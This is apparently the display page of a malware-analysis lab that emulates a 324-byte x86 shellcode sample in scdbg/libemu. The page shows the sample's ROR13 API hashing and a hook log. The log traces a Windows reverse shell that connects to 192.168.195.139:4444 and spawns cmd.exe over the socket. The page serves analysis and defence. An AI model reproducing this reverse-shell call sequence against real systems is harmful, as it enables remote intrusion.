SPECIALTY RE: SHELLCODE & SCDBG LAB

Shellcode & scdbg Emulator Lab

Emulate position-independent x86 / x64 shellcode in a safe virtual LibEmu environment. Resolve ROR13 / CRC32 dynamic API hashes, trace Win32 hooks, and extract raw bytecode payloads.

Architecture

x86 (32-bit)

Size: 324 bytes

API Hashing Algorithm

ROR13

Dynamic Export Resolution

Intercepted APIs

6 Syscalls

Virtual Win32 Hook Engine

Payload Objective

Interactive Reverse Shell (192.168.195.139:4444)

Malicious Egress

scdbg Windows API Emulation Log (libemu v0.8.2)

Resolved Win32 functions dynamically called via PEB walkthrough and export table hash lookup.

Interactive Hook Log

#1LoadLibraryA("ws2_32.dll")
=> 0x77010000KERNEL32.dll

#2WSAStartup(wVersionRequired=0x0202, lpWSAData=0x0019FE20)
=> 0ws2_32.dll

#3WSASocketA(af=AF_INET, type=SOCK_STREAM, protocol=0, ...)
=> 0x00000140ws2_32.dll

#4connect(s=0x140, name={192.168.195.139:4444}, namelen=16)
=> 0 (Connected)ws2_32.dll

#5CreateProcessA(lpApp=NULL, lpCmd="cmd.exe", hStdInOut=0x140)
=> TRUEKERNEL32.dll

#6WaitForSingleObject(hHandle=0x144, dwMilliseconds=INFINITE)
=> 0KERNEL32.dll